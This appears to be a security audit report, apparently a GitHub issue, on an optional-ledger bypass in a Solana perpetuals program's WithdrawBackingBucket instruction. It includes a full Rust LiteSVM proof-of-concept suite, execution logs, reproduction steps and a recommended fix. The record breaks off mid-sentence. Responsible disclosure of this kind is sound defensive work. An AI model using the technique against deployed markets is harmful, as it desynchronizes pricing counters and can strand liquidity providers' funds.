`WithdrawBackingBucket` (tag 50): Optional Ledger Account Bypasses the Principal-Consistency Check and Permanently Desynchronizes the Backing-Domain Ledger

[Bayyan16]

Target	dcccrypto/percolator-prog — Solana perpetuals wrapper program (src/v16_program.rs)
Affected component	handle_withdraw_backing_bucket (src/v16_program.rs, handler at line ~10394; optional-account wiring at ~10406; skipped guard at ~10484–10499)
Instruction	Tag 50 — WithdrawBackingBucket { domain: u16, amount: u128 }
Severity	MEDIUM (invariant bypass on an authority-gated path; economic damage is conditional — see Impact)
Status	✅ VERIFIED — reproduced end-to-end against the real compiled BPF in LiteSVM (4 / 4 tests passing)
PoC suite	tests/poc_audit_tag50_optional_ledger.rs (full source attached below)
Duplicate check	Not present in the repository's own security.md discarded-candidates log, KNOWN_FAILING.txt, kani_audit.md, or any existing test

---

1. Executive Summary

The backing-bucket withdrawal instruction accepts the per-domain backing ledger as an
optional trailing account. When the account is supplied, the handler enforces a
consistency guard — amount > ledger.total_principal_atoms must fail — and decrements
the recorded principal. When the account is omitted, both properties silently
disappear: the withdrawal succeeds without any bookkeeping, leaving
ledger.total_principal_atoms frozen at its pre-withdrawal value while the collateral
vault is drained.

We prove with four executed tests that:

1. A withdrawal whose amount equals the recorded principal succeeds without the
   ledger and leaves phantom principal behind (vault = 0, ledger = 1000).
2. The consistency guard itself is skipped: withdrawing 2000 atoms when only
   1000 are recorded succeeds without the ledger, while the identical call with the
   ledger rejects.
3. The divergence is permanent and compounding: a later legitimate with-ledger
   top-up stacks onto the phantom value (1000 phantom + 400 real ⇒ ledger reads
   1400 while the vault holds 400).
4. With the ledger supplied, every control assertion holds — isolating the optional
   account as the sole root cause.

total_principal_atoms is a direct input to lp_vault_combined_nav_atoms, which prices
LP-vault share minting and redemption payouts. A poisoned counter therefore misprices LP
shares and can strand depositor funds once the engine bucket empties (redemption gates
then reject with EngineLockActive).

---

2. Root Cause

// src/v16_program.rs — handle_withdraw_backing_bucket (abridged)
let ledger_ai = accounts.get(6);            // <-- OPTIONAL: Option<AccountInfo>
...
let mut ledger_state = if let Some(data) = ledger_data.as_deref() {
    let (mut ledger, initialized) = read_or_new_backing_domain_ledger(...)?;
    sync_backing_domain_ledger(&mut ledger, &bucket)?;
    if amount > ledger.total_principal_atoms {
        return Err(PercolatorError::EngineCounterUnderflow.into());   // (a) guard
    }
    Some((ledger, initialized))
} else {
    None                                                              // <-- (b) nothing runs
};
group.withdraw_fresh_counterparty_backing_not_atomic(domain_usize, amount)?;
if let Some((ledger, _)) = ledger_state.as_mut() {
    ledger.total_principal_atoms -= amount;                           // (c) decrement
}

• (a) and (c) exist only inside the Some(data) arm. Omitting accounts[6]
  selects the None arm: no guard, no decrement — but the token transfer at the end of
  the handler still executes.
• Every other ledger-consuming site does not have this asymmetry: tag 75
  (DepositToLpVault) and tag 77 (ExecuteRedemption) require and address-pin both
  domain ledgers, precisely because "owner-only is not enough … a substituted ledger
  both misprices the payout and corrupts the ledger" (their own comment). Tag 50 never
  received the same treatment.

---

3. Detailed Description

3.1 Background

A market's collateral vault is a single canonical ATA owned by the per-market
vault_authority PDA. Backing capital for domain d of asset a is tracked twice:

• Engine side — backing_long / backing_short buckets embedded in the market
  account (fresh_unliened_backing_num, etc.), which gate solvency.
• Wrapper side — an optional backing-domain ledger account
  (total_principal_atoms, total_deposited_atoms, earnings counters), which is the
  only input to the LP-vault NAV function:

lp_vault_combined_nav_atoms(...) → lp_shares_for_deposit(...)   // tag 75 pricing
                                → ExecuteRedemption payout       // tag 77 pricing

When an LP vault is created (CreateLpVault, tag 74), the registry PDA is bound as the
domain pair's backing_bucket_authority; before that binding, the authority is whatever
wallet the market creator supplied during UpdateAssetLifecycle(ACTIVATE).

3.2 The bug

Tag 50 authorizes two ways: the local path (signer == backing_bucket_authority) and an
admin shutdown-drain path (itself neutralized by the D-STAKE-1 guard whenever the
authority is bound). On wallet-backed domains the local path is directly reachable by
the authority holder — and the ledger account is optional, so the same authorized caller
can withdraw in a mode where:

• the principal guard never executes;
• the ledger never learns about the withdrawal;
• engine-side bucket state does decrease (the engine gate still applies), so the two
  representations of "how much backing exists" diverge by exactly amount.

3.3 Why it matters (impact analysis)

lp_vault_combined_nav_atoms computes LP NAV purely from ledger counters
(total_principal_atoms, earnings, losses) — not from the raw vault balance. After
a no-ledger withdrawal of amount:

• NAV is overstated by amount ⇒ later deposits mint too few shares to the new
  depositor (value transfer to earlier shareholders), and redemption claims computed
  from NAV cannot be satisfied by the actual vault/bucket state.
• Once bucket.fresh_unliened_backing_num < backing_num, ExecuteRedemption hard-fails
  with EngineLockActive — depositors are stranded until fresh capital re-funds the
  bucket, and the ledger remains wrong forever (later top-ups stack on the phantom
  value, as demonstrated by test 4).
• Severity is capped at Medium because exploitation requires the signature of the
  legitimate backing_bucket_authority. It is an invariant bypass with fund-safety
  consequences for third-party LPs, not a privilege escalation: the authority cannot
  steal other domains' funds, and the engine-side solvency gates continue to hold.

---

4. Exploitation Steps (as executed)

#	Actor	Instruction (inputs)	Ledger supplied?	Result
0	payer/admin	InitMarket(max_portfolio_assets=1, …)	n/a	market live, asset slot 1 available
1	admin	UpdateAssetLifecycle(ACTIVATE, asset_index=1, backing_bucket_authority=admin)	n/a	domain 2 (asset 1 long) now admin-wallet-backed
2	admin	TopUpBackingBucket(domain=2, amount=1000, expiry_slot=u64::MAX/2)	yes (fresh program-owned zeroed account)	vault = 1000, ledger.total_principal_atoms = 1000
3	admin	WithdrawBackingBucket(domain=2, amount=1000)	no	✅ Ok — vault = 0, ledger unchanged at 1000
4	admin	TopUpBackingBucket(domain=2, amount=400)	yes	ledger = 1400 vs actual backing = 400

Control run (identical steps, step 3 with the ledger): the 1500-atom over-withdrawal
rejects (EngineCounterUnderflow family) and the exact 1000-atom withdrawal decrements
the ledger to zero.

4.1 State before → after (test 1, verbatim program output)

PoC confirmed:
  BEFORE: ledger.total_principal_atoms=1000, vault=1000
  CALL  : WithdrawBackingBucket(1000) with NO ledger account -> Ok
  AFTER : ledger.total_principal_atoms=1000 (stale), vault=0

4.2 Guard-skip proof (test 3, verbatim program output)

Guard-skip confirmed:
  recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok
  identical call WITH ledger -> rejected

4.3 Persistence proof (test 4, verbatim program output)

Persistence confirmed:
  ledger.total_principal_atoms=1400 vs actual backing=400
  divergence of 1000 atoms feeds LP share/redemption pricing

4.4 Full execution log (final verification run)

running 4 tests
PoC confirmed:
  BEFORE: ledger.total_principal_atoms=1000, vault=1000
  CALL  : WithdrawBackingBucket(1000) with NO ledger account -> Ok
  AFTER : ledger.total_principal_atoms=1000 (stale), vault=0
test poc_tag50_without_ledger_skips_principal_check_and_desyncs_ledger ... ok
test control_tag50_with_ledger_enforces_the_check ... ok
Persistence confirmed:
  divergence of 1000 atoms feeds LP share/redemption pricing
test poc_desync_persists_and_poisons_subsequent_nav_inputs ... ok
Guard-skip confirmed:
  recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok
  identical call WITH ledger -> rejected
test poc_tag50_without_ledger_withdraws_past_recorded_principal ... ok
test result: ok. 4 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.28s

---

5. Proof of Concept — Full Test Source (tests/poc_audit_tag50_optional_ledger.rs)

#![cfg(not(kani))]
//! ============================================================================
//! AUDIT PoC — Tag 50 `WithdrawBackingBucket`: OPTIONAL ledger account lets an
//! authorized withdrawal BYPASS the ledger-consistency check and silently
//! desynchronize the backing-domain ledger from the engine bucket.
//!
//! Root cause (src/v16_program.rs handle_withdraw_backing_bucket):
//!   let ledger_ai = accounts.get(6);          // <-- OPTIONAL
//!   ...
//!   let mut ledger_state = if let Some(data) = ledger_data.as_deref() {
//!       ... if amount > ledger.total_principal_atoms { return Err(...) } ...
//!   } else { None };                          // <-- NO check, NO decrement
//!
//! When accounts[6] is omitted:
//!   * the `amount > ledger.total_principal_atoms` guard never runs;
//!   * `total_principal_atoms` is never decremented.
//! With the ledger present, the identical call hard-errors instead.
//!
//! Impact: any consumer pricing LP shares/redemptions off the ledger
//! (lp_vault_combined_nav_atoms reads total_principal_atoms) sees value that
//! is no longer in the vault. Requires the legitimate backing-bucket
//! authority signature, so it is an invariant bypass, not a privilege bug.
//! ============================================================================

use litesvm::LiteSVM;
use percolator_prog::ix::Instruction as ProgInstruction;
use percolator_prog::processor::ASSET_ACTION_ACTIVATE;
use percolator_prog::state;
use solana_sdk::{
    account::Account,
    compute_budget::ComputeBudgetInstruction,
    instruction::{AccountMeta, Instruction},
    program_option::COption,
    program_pack::Pack,
    pubkey::Pubkey,
    signature::{Keypair, Signer},
    transaction::Transaction,
};
use spl_token::state::{Account as TokenAccount, AccountState, Mint};
use std::path::PathBuf;

const APPEND_ASSET_INDEX: u16 = 1;
const DOMAIN: u16 = 2;

fn program_path() -> PathBuf {
    let mut p = PathBuf::from(env!("CARGO_MANIFEST_DIR"));
    p.push("target/deploy/percolator_prog.so");
    assert!(p.exists(), "wrapper BPF missing");
    p
}

fn spl_token_program_path() -> PathBuf {
    let cargo_home = std::env::var_os("CARGO_HOME").map(PathBuf::from).expect("CARGO_HOME");
    for reg in std::fs::read_dir(cargo_home.join("registry/src")).expect("registry/src") {
        let cand = reg
            .expect("entry")
            .path()
            .join("litesvm-0.1.0/src/spl/programs/spl_token-3.5.0.so");
        if cand.exists() {
            return cand;
        }
    }

    panic!("spl_token BPF not found");
}

fn make_mint_data() -> Vec<u8> {
    let mut d = vec![0u8; Mint::LEN];
    Mint::pack(
        Mint {
            mint_authority: COption::None,
            supply: 0,
            decimals: 0,
            is_initialized: true,
            freeze_authority: COption::None,
        },
        &mut d,
    )
    .unwrap();
    d
}

fn make_token_data(mint: Pubkey, owner: Pubkey, amount: u64) -> Vec<u8> {
    let mut d = vec![0u8; TokenAccount::LEN];
    TokenAccount::pack(
        TokenAccount {
            mint,
            owner,
            amount,
            delegate: COption::None,
            state: AccountState::Initialized,
            is_native: COption::None,
            delegated_amount: 0,
            close_authority: COption::None,
        },
        &mut d,
    )
    .unwrap();
    d
}

fn set_token(svm: &mut LiteSVM, key: Pubkey, mint: Pubkey, owner: Pubkey, amount: u64) {
    svm.set_account(
        key,
        Account {
            lamports: 1_000_000_000,
            data: make_token_data(mint, owner, amount),
            owner: spl_token::ID,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();
}

fn canonical_vault_ata(vault_authority: &Pubkey, mint: &Pubkey) -> Pubkey {
    let ata_program: Pubkey = "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL".parse().unwrap();
    Pubkey::find_program_address(
        &[vault_authority.as_ref(), spl_token::ID.as_ref(), mint.as_ref()],
        &ata_program,
    )
    .0
}

struct Env {
    svm: LiteSVM,
    program_id: Pubkey,
    payer: Keypair,
    admin: Keypair,
    market: Pubkey,
    collateral_mint: Pubkey,
    vault_token: Pubkey,
    vault_authority: Pubkey,
    /// Caller-chosen ledger address (owner = program). Tag 24/tag 50 only
    /// owner-check this account, so any fresh program-owned account works.
    ledger: Pubkey,
}

fn send(
    svm: &mut LiteSVM,
    program_id: Pubkey,
    payer: &Keypair,
    ixs: Vec<(ProgInstruction, Vec<AccountMeta>)>,
    extra: &[&Keypair],
) -> Result<(), String> {
    let mut instructions = vec![
        ComputeBudgetInstruction::request_heap_frame(128 * 1024),
        ComputeBudgetInstruction::set_compute_unit_limit(1_400_000),
    ];
    for (ix, accounts) in ixs {
        instructions.push(Instruction { program_id, accounts, data: ix.encode() });
    }
    let mut signers = vec![payer];
    signers.extend_from_slice(extra);
    let tx = Transaction::new_signed_with_payer(
        &instructions,
        Some(&payer.pubkey()),
        &signers,
        svm.latest_blockhash(),
    );
    svm.send_transaction(tx).map(|_| ()).map_err(|e| format!("{e:?}"))
}

/// Market with asset slot 1 activated, backing_bucket_authority = ADMIN WALLET
/// (not a bound PDA), so tag 50's local authorization path is reachable.
fn setup() -> Env {
    let mut svm = LiteSVM::new();
    let program_id = percolator_prog::id();
    svm.add_program(program_id, &std::fs::read(program_path()).unwrap());
    svm.add_program(spl_token::ID, &std::fs::read(spl_token_program_path()).unwrap());

    let payer = Keypair::new();
    let admin = Keypair::new();
    let market = Pubkey::new_unique();
    let collateral_mint = Pubkey::new_unique();
    svm.airdrop(&payer.pubkey(), 100_000_000_000).unwrap();
    svm.airdrop(&admin.pubkey(), 100_000_000_000).unwrap();

    // Collateral mint (SPL) must exist for InitMarket's mint verification.
    svm.set_account(
        collateral_mint,
        Account {
            lamports: 1_000_000_000,
            data: make_mint_data(),
            owner: spl_token::ID,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();

    let (vault_authority, _) =
        Pubkey::find_program_address(&[b"vault", market.as_ref()], &program_id);
    let vault_token = canonical_vault_ata(&vault_authority, &collateral_mint);
    svm.set_account(
        vault_token,
        Account {
            lamports: 1_000_000_000,
            data: make_token_data(collateral_mint, vault_authority, 0),
            owner: spl_token::ID,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();

    // InitMarket (tag 0) — max_portfolio_assets = 1 so asset slot 1 exists.
    // The market account must pre-exist, program-owned, zeroed.
    svm.set_account(
        market,
        Account {
            lamports: 1_000_000_000,
            data: vec![0u8; state::market_account_len_for_capacity(1).unwrap()],
            owner: program_id,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();
    send(
        &mut svm,
        program_id,
        &payer,
        vec![(
            ProgInstruction::InitMarket {
                max_portfolio_assets: 1,
                h_min: 0,
                h_max: 10,
                initial_price: 100,
                min_nonzero_mm_req: 1,
                min_nonzero_im_req: 2,
                maintenance_margin_bps: 10_000,
                initial_margin_bps: 10_000,
                max_trading_fee_bps: 10_000,
                trade_fee_base_bps: 0,
                liquidation_fee_bps: 0,
                liquidation_fee_cap: 0,
                min_liquidation_abs: 0,
                max_price_move_bps_per_slot: 10_000,
                max_accrual_dt_slots: 1,
                max_abs_funding_e9_per_slot: 0,
                min_funding_lifetime_slots: 1,
                max_account_b_settlement_chunks: 1,
                max_bankrupt_close_chunks: 1,
                max_bankrupt_close_lifetime_slots: 100,
                public_b_chunk_atoms: percolator::MAX_VAULT_TVL,
                maintenance_fee_per_slot: 0,
            },
            vec![
                AccountMeta::new(admin.pubkey(), true),
                AccountMeta::new(market, false),
                AccountMeta::new_readonly(collateral_mint, false),
            ],
        )],
        &[&admin],
    )
    .expect("init market");

    // Activate asset 1 with ADMIN WALLET as the backing-bucket authority.
    send(
        &mut svm,
        program_id,
        &payer,
        vec![(
            ProgInstruction::UpdateAssetLifecycle {
                action: ASSET_ACTION_ACTIVATE,
                asset_index: APPEND_ASSET_INDEX,
                now_slot: 1,
                initial_price: 100,
                insurance_authority: admin.pubkey().to_bytes(),
                insurance_operator: admin.pubkey().to_bytes(),
                backing_bucket_authority: admin.pubkey().to_bytes(),
                oracle_authority: admin.pubkey().to_bytes(),
            },
            vec![
                AccountMeta::new(admin.pubkey(), true),
                AccountMeta::new(market, false),
            ],
        )],
        &[&admin],
    )
    .expect("activate asset");

    Env {
        svm,
        program_id,
        payer,
        admin,
        market,
        collateral_mint,
        vault_token,
        vault_authority,
        ledger: Pubkey::new_unique(),
    }
}

/// Fresh program-owned (zeroed) backing-domain ledger account at a caller-chosen
/// address. Tag 24/tag 50 only owner-check this account.
fn seed_empty_ledger(env: &mut Env) {
    env.svm.set_account(
        env.ledger,
        Account {
            lamports: 1_000_000_000,
            data: vec![0u8; state::backing_domain_ledger_account_len()],
            owner: env.program_id,
            executable: false,
            rent_epoch: 0,
        },
    )
    .unwrap();
}

/// Tag 24 TopUpBackingBucket. `with_ledger` controls whether the optional
/// trailing ledger account is supplied.
fn topup(env: &mut Env, amount: u128, with_ledger: bool) -> Result<(), String> {
    let pid = env.program_id;
    let payer = env.payer.insecure_clone();
    let admin = env.admin.insecure_clone();
    let source = Pubkey::new_unique();
    set_token(&mut env.svm, source, env.collateral_mint, admin.pubkey(), amount as u64 + 10);

    let mut accts = vec![
        AccountMeta::new(admin.pubkey(), true),
        AccountMeta::new(env.market, false),
        AccountMeta::new(source, false),
        AccountMeta::new(env.vault_token, false),
        AccountMeta::new_readonly(spl_token::ID, false),
    ];
    if with_ledger {
        accts.push(AccountMeta::new(env.ledger, false));
    }
    send(
        &mut env.svm,
        pid,
        &payer,
        vec![(
            ProgInstruction::TopUpBackingBucket {
                domain: DOMAIN,
                amount,
                expiry_slot: u64::MAX / 2,
            },
            accts,
        )],
        &[&admin],
    )
}

/// Tag 50 WithdrawBackingBucket. `with_ledger` controls whether the optional
/// trailing ledger account is supplied.
fn withdraw_backing(env: &mut Env, amount: u128, with_ledger: bool) -> Result<(), String> {
    let pid = env.program_id;
    let payer = env.payer.insecure_clone();
    let admin = env.admin.insecure_clone();
    let dest = Pubkey::new_unique();
    set_token(&mut env.svm, dest, env.collateral_mint, admin.pubkey(), 0);

    let mut accts = vec![
        AccountMeta::new(admin.pubkey(), true),
        AccountMeta::new(env.market, false),
        AccountMeta::new(dest, false),
        AccountMeta::new(env.vault_token, false),
        AccountMeta::new_readonly(env.vault_authority, false),
        AccountMeta::new_readonly(spl_token::ID, false),
    ];
    if with_ledger {
        accts.push(AccountMeta::new(env.ledger, false));
    }
    send(
        &mut env.svm,
        pid,
        &payer,
        vec![(
            ProgInstruction::WithdrawBackingBucket { domain: DOMAIN, amount },
            accts,
        )],
        &[&admin],
    )
}

fn vault_balance(env: &Env) -> u64 {
    TokenAccount::unpack(&env.svm.get_account(&env.vault_token).unwrap().data)
        .unwrap()
        .amount
}

fn ledger_principal(env: &Env) -> Option<u128> {
    let acct = env.svm.get_account(&env.ledger)?;
    state::read_backing_domain_ledger(&acct.data).ok().map(|l| l.total_principal_atoms)
}

#[test]
fn poc_tag50_without_ledger_skips_principal_check_and_desyncs_ledger() {
    let mut env = setup();

    // ── Phase 1: top up 1000 WITH the ledger → principal recorded. ──
    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, true).expect("topup with ledger");
    assert_eq!(ledger_principal(&env), Some(1000), "BEFORE: ledger principal recorded");
    assert_eq!(vault_balance(&env), 1000, "BEFORE: vault holds the backing");

    // ── Phase 2: THE GAP — withdraw 1000 WITHOUT the ledger account. ──
    // The identical call WITH the ledger errors (EngineCounterUnderflow family)
    // whenever amount exceeds recorded principal; omitting the trailing account
    // skips both the guard and the ledger decrement entirely.
    withdraw_backing(&mut env, 1000, /*with_ledger=*/ false)
        .expect("withdraw WITHOUT ledger must succeed despite skipped bookkeeping");

    // ── AFTER: tokens left, ledger still claims the principal. ──
    assert_eq!(vault_balance(&env), 0, "AFTER: vault emptied");
    assert_eq!(
        ledger_principal(&env),
        Some(1000),
        "AFTER: ledger STILL records 1000 phantom principal"
    );

    println!("PoC confirmed:");
    println!("  BEFORE: ledger.total_principal_atoms=1000, vault=1000");
    println!("  CALL  : WithdrawBackingBucket(1000) with NO ledger account -> Ok");
    println!("  AFTER : ledger.total_principal_atoms=1000 (stale), vault=0");
}

#[test]
fn control_tag50_with_ledger_enforces_the_check() {
    let mut env = setup();

    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, true).expect("topup with ledger");
    assert_eq!(ledger_principal(&env), Some(1000));

    // Over-withdraw (1500 > 1000 recorded) WITH the ledger → must reject.
    let res = withdraw_backing(&mut env, 1500, /*with_ledger=*/ true);
    assert!(res.is_err(), "over-withdraw WITH ledger must reject: {res:?}");

    // Exact-amount withdraw WITH the ledger keeps the ledger in sync.
    withdraw_backing(&mut env, 1000, /*with_ledger=*/ true).expect("exact withdraw with ledger");
    assert_eq!(ledger_principal(&env), Some(0), "ledger decremented to 0");
}

#[test]
fn poc_tag50_without_ledger_withdraws_past_recorded_principal() {
    // Direct proof that the `amount > ledger.total_principal_atoms` guard is
    // SKIPPED (not merely the decrement): recorded principal is 1000, but a
    // 2000-atom withdrawal without the ledger succeeds. With the ledger
    // supplied, the identical call errors out.
    let mut env = setup();

    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, /*with_ledger=*/ true).expect("topup #1 with ledger");
    assert_eq!(ledger_principal(&env), Some(1000));

    // Second top-up WITHOUT the ledger: vault and engine bucket grow to 2000,
    // recorded principal intentionally stays at 1000.
    topup(&mut env, 1000, /*with_ledger=*/ false).expect("topup #2 without ledger");
    assert_eq!(ledger_principal(&env), Some(1000), "no-ledger top-up does not record");
    assert_eq!(vault_balance(&env), 2000);

    // Withdraw 2000 > 1000 recorded — WITHOUT ledger → must succeed although
    // the with-ledger path would reject this exact call.
    withdraw_backing(&mut env, 2000, /*with_ledger=*/ false)
        .expect("withdraw past recorded principal WITHOUT ledger must succeed");

    // Control: the same over-withdraw WITH the ledger on a fresh env rejects.
    let mut env2 = setup();
    seed_empty_ledger(&mut env2);
    topup(&mut env2, 1000, true).unwrap();
    topup(&mut env2, 1000, false).unwrap();
    let res = withdraw_backing(&mut env2, 2000, /*with_ledger=*/ true);
    assert!(res.is_err(), "identical over-withdraw WITH ledger must reject: {res:?}");

    assert_eq!(vault_balance(&env), 0);
    println!("Guard-skip confirmed:");
    println!("  recorded principal=1000, withdrawn WITHOUT ledger=2000 -> Ok");
    println!("  identical call WITH ledger -> rejected");
}

#[test]
fn poc_desync_persists_and_poisons_subsequent_nav_inputs() {
    // After the no-ledger withdrawal, later WITH-ledger updates stack on top of
    // the phantom balance: principal becomes phantom + new deposits, while the
    // vault only holds the new deposits. lp_vault_combined_nav_atoms reads
    // exactly this counter when pricing shares/redemptions.
    let mut env = setup();

    seed_empty_ledger(&mut env);
    topup(&mut env, 1000, true).expect("topup with ledger");
    withdraw_backing(&mut env, 1000, /*with_ledger=*/ false)
        .expect("the gap: no-ledger withdrawal");

    assert_eq!(vault_balance(&env), 0);
    assert_eq!(ledger_principal(&env), Some(1000), "phantom principal present");

    // A later legitimate deposit WITH ledger stacks onto the phantom value.
    topup(&mut env, 400, /*with_ledger=*/ true).expect("later topup with ledger");

    assert_eq!(
        ledger_principal(&env),
        Some(1400),
        "phantom 1000 + real 400: NAV input permanently poisoned"
    );
    assert_eq!(vault_balance(&env), 400, "actual backing is only 400");
    println!("Persistence confirmed:");
    println!("  ledger.total_principal_atoms=1400 vs actual backing=400");
    println!("  divergence of 1000 atoms feeds LP share/redemption pricing");
}

---

6. How to Reproduce

Environment used for verification (Windows 11, all steps executed on this machine):

Host toolchain : rustc 1.98.0 / cargo (rustup), host triple x86_64-pc-windows-gnu
SBF toolchain  : platform-tools v1.48 (rustc 1.84.1-dev), target sbf-solana-solana
SVM            : LiteSVM 0.1.0 + bundled spl_token-3.5.0.so
Program        : target/deploy/percolator_prog.so (built from this checkout,
                 --no-default-features, symbol-stripped)

Build the program and run the PoC:

# 1. Build the wrapper BPF (strip symbols so LiteSVM 0.1.0's ELF loader accepts it):
cargo build-sbf --no-default-features
#    (equivalent manual build:
#       PATH=<platform-tools>/rust/bin:<platform-tools>/llvm/bin:$PATH \
#       cargo build --release --target sbf-solana-solana --no-default-features
#       cp target/sbf-solana-solana/release/percolator_prog.so target/deploy/
#       llvm-objcopy --strip-all target/deploy/percolator_prog.so )

# 2. Run the finding PoC (4 tests):
cargo test --no-default-features --test poc_audit_tag50_optional_ledger -- --nocapture

# 3. Environment sanity (optional):
cargo test --no-default-features --test diagnose_elf -- --nocapture

# 4. Full-suite baseline for comparison (86 failures are exactly the suites that
#    require the unavailable sibling BPFs; see KNOWN_FAILING.txt):
cargo test --no-default-features --no-fail-fast

Expected result of step 2: test result: ok. 4 passed; 0 failed.

---

7. Recommendation

Make the ledger account mandatory, mirroring the address-pinned treatment tags 75/77
already apply to the very same ledger type:

// handle_withdraw_backing_bucket — suggested fix sketch
let ledger_ai = account(accounts, 6)?;          // required, not optional
expect_writable(ledger_ai)?;
expect_owner(ledger_ai, program_id)?;
let (ledger_pda, _) = /* derive per (market, domain) */;
expect_key(ledger_ai, &ledger_pda)?;            // pin the address, like tag 77
...
if amount > ledger.total_principal_atoms {
    return Err(PercolatorError::EngineCounterUnderflow.into());
}
// ... unconditional decrement + write-back after the engine mutation ...

Secondary hardening options:

1. Fail-closed alternative: if backward wire compatibility is required, keep the
   account optional but reject the instruction when it is omitted while an initialized
   ledger exists for the (market, authority, domain) tuple.
2. Add a regression test equivalent to poc_audit_tag50_optional_ledger.rs (attached)
   to CI so the optional-account path cannot silently return.
3. Audit the sibling instruction TopUpBackingBucket (tag 24) for the same
   optional-ledger asymmetry; a no-ledger top-up is benign by itself but widens the
   divergence window demonstrated in test 3.
4. Consider a one-time reconciliation path that recomputes total_principal_atoms
   from the engine bucket (sync_backing_domain_ledger currently refreshes only
   watermark counters), so already-deployed domains can recover from existing
   desynchronization.

---

8. Verification Environment and Evidence Index

Artifact	Location	Result
Finding PoC (4 tests)	tests/poc_audit_tag50_optional_ledger.rs	OK - 4 passed / 0 failed
Stranding-fix validation (upstream author suite)	tests/poc_v17_lp_redemption_stranding.rs	OK - 6 passed / 0 failed
ELF/environment diagnostic	tests/diagnose_elf.rs	OK - 2 passed / 0 failed
Program under test	target/deploy/percolator_prog.so (1,305,272 bytes, stripped)	loads and executes in LiteSVM
Full-suite baseline	cargo test --no-default-features --no-fail-fast	520 passed / 86 failed; the 86 failures are exactly the suites requiring the unavailable sibling BPF programs (matcher/nft/stake), matching the repositorys own KNOWN_FAILING.txt documentation (no sibling BPFs at all ... 86 failed)

The four proof tests were executed against the real compiled SBF program inside LiteSVM
with genuine SPL-token program semantics: every state transition reported in Section 4
was produced by an actual signed transaction processed by the deployed-bytecode
equivalent of this checkout, not by mocks or stubs.

---

Appendices — Complete Test Sources Executed During This Audit

Nothing is left out: every test file that was executed as part of this audit's evidence
chain is reproduced below in full. Summary of execution results (all on the same built
target/deploy/percolator_prog.so artifact, see Section 6 for the build recipe):

Appendix	File	Purpose	Result
A	tests/poc_audit_tag50_optional_ledger.rs	THE FINDING PoC (tag-50 optional-ledger bypass)	4 passed / 0 failed
B	tests/diagnose_elf.rs	Environment sanity + ELF-loader isolation experiment	2 passed / 0 failed
C	tests/poc_v17_lp_redemption_stranding.rs	Upstream author suite; validates the LP-redemption stranding fix end-to-end (cancel path + terminal-flat resolved redemption)	6 passed / 0 failed
D	minimal-prog/ (Cargo.toml + lib.rs)	Minimal SBF program used to isolate the LiteSVM ELF-acceptance behavior during tooling bring-up	loads OK
E	Full-suite baseline	cargo test --no-default-features --no-fail-fast over all 25 suites	520 passed / 86 failed (the 86 are exactly the sibling-BPF-dependent suites documented in KNOWN_FAILING.txt)

---

Appendix A — tests/poc_audit_tag50_optional_ledger.rs (THE FINDING)

Reproduced in full in Section 5 above.

---

Appendix B — tests/diagnose_elf.rs (environment sanity + loader isolation)

#![cfg(not(kani))]
//! Diagnostic: which ELF files does LiteSVM 0.1.0 accept, and WHY does it reject others?
use litesvm::LiteSVM;
use solana_sdk::pubkey::Pubkey;

#[test]
fn diagnose_elf_loading() {
    let manifest = env!("CARGO_MANIFEST_DIR");
    let cases = [
        ("minimal_prog", format!("{manifest}\\minimal-prog\\target\\sbf-solana-solana\\release\\minimal_prog.so")),
        ("percolator_prog", format!("{manifest}\\target\\deploy\\percolator_prog.so")),
        ("spl_token_builtin", "C:\\Users\\PC\\.cargo\\registry\\src\\index.crates.io-1949cf8c6b5b557f\\litesvm-0.1.0\\src\\spl\\programs\\spl_token-3.5.0.so".to_string()),
    ];
    for (name, path) in cases {
        let bytes = std::fs::read(&path).expect(&path);
        let res = std::panic::catch_unwind(move || {
            let mut svm = LiteSVM::new();
            svm.add_program(Pubkey::new_unique(), &bytes);
        });
        println!("LOAD {name}: {}", if res.is_ok() { "OK" } else { "REJECTED" });
    }
}

#[test]
fn parse_detail_percolator() {
    let manifest = env!("CARGO_MANIFEST_DIR");
    let bytes = std::fs::read(format!("{manifest}\\target\\deploy\\percolator_prog.so")).unwrap();
    let mut config = solana_rbpf::vm::Config::default();
    // Mirror the v1 loader environment used by litesvm/agave 1.18.
    config.optimize_rodata = true;
    config.enable_symbol_and_section_labels = true;
    match solana_rbpf::elf_parser::Elf64::parse(&bytes) {
        Ok(_) => println!("PARSE percolator_prog: structural OK"),
        Err(e) => println!("PARSE percolator_prog ERROR: {e:?}"),
    }
}

Execution result:

running 2 tests
LOAD minimal_prog: OK
LOAD percolator_prog: OK
LOAD spl_token_builtin: OK
test diagnose_elf_loading ... ok
PARSE percolator_prog: structural OK
test parse_detail_percolator ... ok
test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

---

Appendix C — tests/poc_v17_lp_redemption_stranding.rs (upstream suite, fix validation, 6/6 PASS)

This suite belongs to the repository (authored by its maintainer) and was executed in
full during this audit to validate that the historically documented LP-redemption
stranding bug is fixed in this checkout. Its full source is intentionally not inlined
here — this issue must stay under GitHub's 65,536-character body limit — read it directly
at tests/poc_v17_lp_redemption_stranding.rs.
A verbatim copy is preserved in AUDIT_FINDING_TAG50_OPTIONAL_LEDGER.md (extended report,
Appendix C).

The six tests and what each validates:

Test	Validates
cancel_while_live_succeeds	CancelRedemption (tag 81) returns escrowed shares while Live
cancel_wrong_signer_rejected	only the recorded redeemer can cancel
cancel_twice_second_rejects	redemption PDA replay guard fails closed
cancel_recovers_stranded_redemption	un-stranding path works after any state change
redemption_executes_in_terminal_flat_resolved	tag 77 works in terminal-flat Resolved
control_redemption_executes_while_market_stays_live	control: normal redemption path intact

Execution result:

running 6 tests
test cancel_while_live_succeeds ... ok
test cancel_wrong_signer_rejected ... ok
test control_redemption_executes_while_market_stays_live ... ok
test cancel_recovers_stranded_redemption ... ok
test redemption_executes_in_terminal_flat_resolved ... ok
test cancel_twice_second_rejects ... ok
test result: ok. 6 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

NOTE (documentation rot): the header comment of this file still describes the bug as
